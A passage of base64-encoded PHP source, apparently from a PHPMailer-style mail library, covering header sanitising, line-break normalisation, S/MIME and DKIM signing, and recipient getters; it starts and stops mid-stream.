DUsICRwYXRoaW5mbykpIHsNCiAgICAgICAgICAgICAgICAkcmV0WydleHRlbnNpb24nXSA9ICRwYXRoaW5mb1s1XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsNCiAgICAgICAgICAgICAgICAkcmV0WydmaWxlbmFtZSddID0gJHBhdGhpbmZvWzNdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHN3aXRjaCAoJG9wdGlvbnMpIHsNCiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRElSTkFNRToNCiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOg0KICAgICAgICAgICAgICAgIHJldHVybiAkcmV0WydkaXJuYW1lJ107DQogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0JBU0VOQU1FOg0KICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOg0KICAgICAgICAgICAgICAgIHJldHVybiAkcmV0WydiYXNlbmFtZSddOw0KICAgICAgICAgICAgY2FzZSBQQVRISU5GT19FWFRFTlNJT046DQogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOg0KICAgICAgICAgICAgICAgIHJldHVybiAkcmV0WydleHRlbnNpb24nXTsNCiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRklMRU5BTUU6DQogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2ZpbGVuYW1lJ107DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgIHJldHVybiAkcmV0Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2V0IG9yIHJlc2V0IGluc3RhbmNlIHByb3BlcnRpZXMuDQogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZA0KICAgICAqIGhhcmRlciB0byBkZWJ1ZyB0aGFuIHNldHRpbmcgcHJvcGVydGllcyBkaXJlY3RseS4NCiAgICAgKiBVc2FnZSBFeGFtcGxlOg0KICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2ANCiAgICAgKiAgIGlzIHRoZSBzYW1lIGFzOg0KICAgICAqIGAkbWFpbC0+U01UUFNlY3VyZSA9ICd0bHMnO2ANCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgVGhlIHByb3BlcnR5IG5hbWUgdG8gc2V0DQogICAgICogQHBhcmFtIG1peGVkICR2YWx1ZSBUaGUgdmFsdWUgdG8gc2V0IHRoZSBwcm9wZXJ0eSB0bw0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqIEBUT0RPIFNob3VsZCB0aGlzIG5vdCBiZSB1c2luZyB0aGUgX19zZXQoKSBtYWdpYyBmdW5jdGlvbj8NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykNCiAgICB7DQogICAgICAgIGlmIChwcm9wZXJ0eV9leGlzdHMoJHRoaXMsICRuYW1lKSkgew0KICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOw0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOw0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VjdXJlSGVhZGVyKCRzdHIpDQogICAgew0KICAgICAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJycsICRzdHIpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBOb3JtYWxpemUgbGluZSBicmVha3MgaW4gYSBzdHJpbmcuDQogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4NCiAgICAgKiBEZWZhdWx0cyB0byBDUkxGIChmb3IgbWVzc2FnZSBib2RpZXMpIGFuZCBwcmVzZXJ2ZXMgY29uc2VjdXRpdmUgYnJlYWtzLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBzdGF0aWMNCiAgICAgKi8NCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG5vcm1hbGl6ZUJyZWFrcygkdGV4dCwgJGJyZWFrdHlwZSA9ICJcclxuIikNCiAgICB7DQogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXHJcbnxccnxcbikvbXMnLCAkYnJlYWt0eXBlLCAkdGV4dCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2V0IHRoZSBwdWJsaWMgYW5kIHByaXZhdGUga2V5IGZpbGVzIGFuZCBwYXNzd29yZCBmb3IgUy9NSU1FIHNpZ25pbmcuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjZXJ0X2ZpbGVuYW1lDQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X2ZpbGVuYW1lDQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5DQogICAgICogQHBhcmFtIHN0cmluZyAkZXh0cmFjZXJ0c19maWxlbmFtZSBPcHRpb25hbCBwYXRoIHRvIGNoYWluIGNlcnRpZmljYXRlDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykNCiAgICB7DQogICAgICAgICR0aGlzLT5zaWduX2NlcnRfZmlsZSA9ICRjZXJ0X2ZpbGVuYW1lOw0KICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7DQogICAgICAgICR0aGlzLT5zaWduX2tleV9wYXNzID0gJGtleV9wYXNzOw0KICAgICAgICAkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUgPSAkZXh0cmFjZXJ0c19maWxlbmFtZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkdHh0DQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9RUCgkdHh0KQ0KICAgIHsNCiAgICAgICAgJGxpbmUgPSAnJzsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0eHQpOyAkaSsrKSB7DQogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsNCiAgICAgICAgICAgIGlmICgoKDB4MjEgPD0gJG9yZCkgJiYgKCRvcmQgPD0gMHgzQSkpIHx8ICRvcmQgPT0gMHgzQyB8fCAoKDB4M0UgPD0gJG9yZCkgJiYgKCRvcmQgPD0gMHg3RSkpKSB7DQogICAgICAgICAgICAgICAgJGxpbmUgLj0gJHR4dFskaV07DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRsaW5lIC49ICc9JyAuIHNwcmludGYoJyUwMlgnLCAkb3JkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGxpbmU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2VuZXJhdGUgYSBES0lNIHNpZ25hdHVyZS4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHNpZ25IZWFkZXINCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbg0KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX1NpZ24oJHNpZ25IZWFkZXIpDQogICAgew0KICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJyc7DQogICAgICAgIH0NCiAgICAgICAgJHByaXZLZXlTdHIgPSAhZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZV9zdHJpbmcpID8gJHRoaXMtPkRLSU1fcHJpdmF0ZV9zdHJpbmcgOiBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+REtJTV9wcml2YXRlKTsNCiAgICAgICAgaWYgKCcnICE9ICR0aGlzLT5ES0lNX3Bhc3NwaHJhc2UpIHsNCiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyKTsNCiAgICAgICAgfQ0KICAgICAgICAvL1dvcmthcm91bmQgZm9yIG1pc3NpbmcgZGlnZXN0IGFsZ29yaXRobXMgaW4gb2xkIFBIUCAmIE9wZW5TU0wgdmVyc2lvbnMNCiAgICAgICAgLy9AbGluayBodHRwOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8xMTExNzMzOC8zMzMzNDANCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQNCiAgICAgICAgICAgIGluX2FycmF5KCdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicsIG9wZW5zc2xfZ2V0X21kX21ldGhvZHModHJ1ZSkpKSB7DQogICAgICAgICAgICBpZiAob3BlbnNzbF9zaWduKCRzaWduSGVhZGVyLCAkc2lnbmF0dXJlLCAkcHJpdktleSwgJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJykpIHsNCiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7DQogICAgICAgICAgICAgICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJHNpZ25hdHVyZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGluZm8gPSBvcGVuc3NsX3BrZXlfZ2V0X2RldGFpbHMoJHByaXZLZXkpOw0KICAgICAgICAgICAgJGhhc2ggPSBoYXNoKCdzaGEyNTYnLCAkc2lnbkhlYWRlcik7DQogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcNCiAgICAgICAgICAgIC8vQGxpbmsgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzM0NDcjcGFnZS00Mw0KICAgICAgICAgICAgJHQgPSAnMzAzMTMwMGQwNjA5NjA4NjQ4MDE2NTAzMDQwMjAxMDUwMDA0MjAnIC4gJGhhc2g7DQogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsNCiAgICAgICAgICAgICRlYiA9IHBhY2soJ0gqJywgJzAwMDEnIC4gc3RyX3JlcGVhdCgnRkYnLCAkcHNsZW4pIC4gJzAwJyAuICR0KTsNCg0KICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsNCiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7DQogICAgICAgICAgICAgICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJHNpZ25hdHVyZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgb3BlbnNzbF9wa2V5X2ZyZWUoJHByaXZLZXkpOw0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gaGVhZGVyLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXINCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpDQogICAgew0KICAgICAgICAkc2lnbkhlYWRlciA9IHByZWdfcmVwbGFjZSgnL1xyXG5ccysvJywgJyAnLCAkc2lnbkhlYWRlcik7DQogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7DQogICAgICAgIGZvcmVhY2ggKCRsaW5lcyBhcyAka2V5ID0+ICRsaW5lKSB7DQogICAgICAgICAgICBsaXN0KCRoZWFkaW5nLCAkdmFsdWUpID0gZXhwbG9kZSgnOicsICRsaW5lLCAyKTsNCiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7DQogICAgICAgICAgICAkdmFsdWUgPSBwcmVnX3JlcGxhY2UoJy9cc3syLH0vJywgJyAnLCAkdmFsdWUpOyAvLyBDb21wcmVzcyB1c2VsZXNzIHNwYWNlcw0KICAgICAgICAgICAgJGxpbmVzWyRrZXldID0gJGhlYWRpbmcgLiAnOicgLiB0cmltKCR2YWx1ZSk7IC8vIERvbid0IGZvcmdldCB0byByZW1vdmUgV1NQIGFyb3VuZCB0aGUgdmFsdWUNCiAgICAgICAgfQ0KICAgICAgICAkc2lnbkhlYWRlciA9IGltcGxvZGUoIlxyXG4iLCAkbGluZXMpOw0KICAgICAgICByZXR1cm4gJHNpZ25IZWFkZXI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5DQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9Cb2R5QygkYm9keSkNCiAgICB7DQogICAgICAgIGlmICgkYm9keSA9PSAnJykgew0KICAgICAgICAgICAgcmV0dXJuICJcclxuIjsNCiAgICAgICAgfQ0KICAgICAgICAvLyBzdGFiaWxpemUgbGluZSBlbmRpbmdzDQogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkYm9keSk7DQogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7DQogICAgICAgIC8vIEVORCBzdGFiaWxpemUgbGluZSBlbmRpbmdzDQogICAgICAgIHdoaWxlIChzdWJzdHIoJGJvZHksIHN0cmxlbigkYm9keSkgLSA0LCA0KSA9PSAiXHJcblxyXG4iKSB7DQogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYm9keTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyc19saW5lIEhlYWRlciBsaW5lcw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdA0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgQm9keQ0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQWRkKCRoZWFkZXJzX2xpbmUsICRzdWJqZWN0LCAkYm9keSkNCiAgICB7DQogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zDQogICAgICAgICRES0lNY2Fub25pY2FsaXphdGlvbiA9ICdyZWxheGVkL3NpbXBsZSc7IC8vIENhbm9uaWNhbGl6YXRpb24gb2YgaGVhZGVyL2JvZHkNCiAgICAgICAgJERLSU1xdWVyeSA9ICdkbnMvdHh0JzsgLy8gUXVlcnkgbWV0aG9kDQogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkNCiAgICAgICAgJHN1YmplY3RfaGVhZGVyID0gIlN1YmplY3Q6ICRzdWJqZWN0IjsNCiAgICAgICAgJGhlYWRlcnMgPSBleHBsb2RlKCR0aGlzLT5MRSwgJGhlYWRlcnNfbGluZSk7DQogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOw0KICAgICAgICAkdG9faGVhZGVyID0gJyc7DQogICAgICAgICRkYXRlX2hlYWRlciA9ICcnOw0KICAgICAgICAkY3VycmVudCA9ICcnOw0KICAgICAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7DQogICAgICAgICAgICBpZiAoc3RycG9zKCRoZWFkZXIsICdGcm9tOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICdmcm9tX2hlYWRlcic7DQogICAgICAgICAgICB9IGVsc2VpZiAoc3RycG9zKCRoZWFkZXIsICdUbzonKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOw0KICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ3RvX2hlYWRlcic7DQogICAgICAgICAgICB9IGVsc2VpZiAoc3RycG9zKCRoZWFkZXIsICdEYXRlOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICdkYXRlX2hlYWRlcic7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICQkY3VycmVudCAuPSAkaGVhZGVyOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRmcm9tID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJGZyb21faGVhZGVyKSk7DQogICAgICAgICR0byA9IHN0cl9yZXBsYWNlKCd8JywgJz03QycsICR0aGlzLT5ES0lNX1FQKCR0b19oZWFkZXIpKTsNCiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsNCiAgICAgICAgJHN1YmplY3QgPSBzdHJfcmVwbGFjZSgNCiAgICAgICAgICAgICd8JywNCiAgICAgICAgICAgICc9N0MnLA0KICAgICAgICAgICAgJHRoaXMtPkRLSU1fUVAoJHN1YmplY3RfaGVhZGVyKQ0KICAgICAgICApOyAvLyBDb3BpZWQgaGVhZGVyIGZpZWxkcyAoZGtpbS1xdW90ZWQtcHJpbnRhYmxlKQ0KICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsNCiAgICAgICAgJERLSU1sZW4gPSBzdHJsZW4oJGJvZHkpOyAvLyBMZW5ndGggb2YgYm9keQ0KICAgICAgICAkREtJTWI2NCA9IGJhc2U2NF9lbmNvZGUocGFjaygnSConLCBoYXNoKCdzaGEyNTYnLCAkYm9keSkpKTsgLy8gQmFzZTY0IG9mIHBhY2tlZCBiaW5hcnkgU0hBLTI1NiBoYXNoIG9mIGJvZHkNCiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7DQogICAgICAgICAgICAkaWRlbnQgPSAnJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7DQogICAgICAgIH0NCiAgICAgICAgJGRraW1oZHJzID0gJ0RLSU0tU2lnbmF0dXJlOiB2PTE7IGE9JyAuDQogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLg0KICAgICAgICAgICAgJERLSU1xdWVyeSAuICc7IGw9JyAuDQogICAgICAgICAgICAkREtJTWxlbiAuICc7IHM9JyAuDQogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuDQogICAgICAgICAgICAiO1xyXG4iIC4NCiAgICAgICAgICAgICJcdHQ9IiAuICRES0lNdGltZSAuICc7IGM9JyAuICRES0lNY2Fub25pY2FsaXphdGlvbiAuICI7XHJcbiIgLg0KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuDQogICAgICAgICAgICAiXHRkPSIgLiAkdGhpcy0+REtJTV9kb21haW4gLiAnOycgLiAkaWRlbnQgLiAiXHJcbiIgLg0KICAgICAgICAgICAgIlx0ej0kZnJvbVxyXG4iIC4NCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuDQogICAgICAgICAgICAiXHR8JGRhdGVcclxuIiAuDQogICAgICAgICAgICAiXHR8JHN1YmplY3Q7XHJcbiIgLg0KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuDQogICAgICAgICAgICAiXHRiPSI7DQogICAgICAgICR0b1NpZ24gPSAkdGhpcy0+REtJTV9IZWFkZXJDKA0KICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICR0b19oZWFkZXIgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJGRhdGVfaGVhZGVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuDQogICAgICAgICAgICAkZGtpbWhkcnMNCiAgICAgICAgKTsNCiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7DQogICAgICAgIHJldHVybiAkZGtpbWhkcnMgLiAkc2lnbmVkIC4gIlxyXG4iOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIERldGVjdCBpZiBhIHN0cmluZyBjb250YWlucyBhIGxpbmUgbG9uZ2VyIHRoYW4gdGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZC4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHINCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4NCiAgICAgKiBAc3RhdGljDQogICAgICovDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYXNMaW5lTG9uZ2VyVGhhbk1heCgkc3RyKQ0KICAgIHsNCiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsDQogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvXigueycuKHNlbGY6Ok1BWF9MSU5FX0xFTkdUSCArIDIpLicsfSkvbScsICRzdHIpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICd0bycgcHJvcGVydHkuDQogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRUb0FkZHJlc3NlcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPnRvOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdjYycgcHJvcGVydHkuDQogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPmNjOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5Lg0KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEByZXR1cm4gYXJyYXkNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0QmNjQWRkcmVzc2VzKCkNCiAgICB7DQogICAgICAgIHJldHVybiAkdGhpcy0+YmNjOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdSZXBseVRvJyBwcm9wZXJ0eS4NCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcmV0dXJuIGFycmF5DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFJlcGx5VG9BZGRyZXNzZXMoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdhbGxfcmVjaXBpZW50cycgcHJvcGVydHkuDQogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5hbGxfcmVjaXBpZW50czsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suDQogICAgICogQHBhcmFtIGJvb2xlYW4gJGlzU2VudA0KICAgICAqIEBwYXJhbSBhcnJheSAkdG8NCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjDQogICAgICogQHBhcmFtIGFycmF5ICRiY2MNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0DQogICA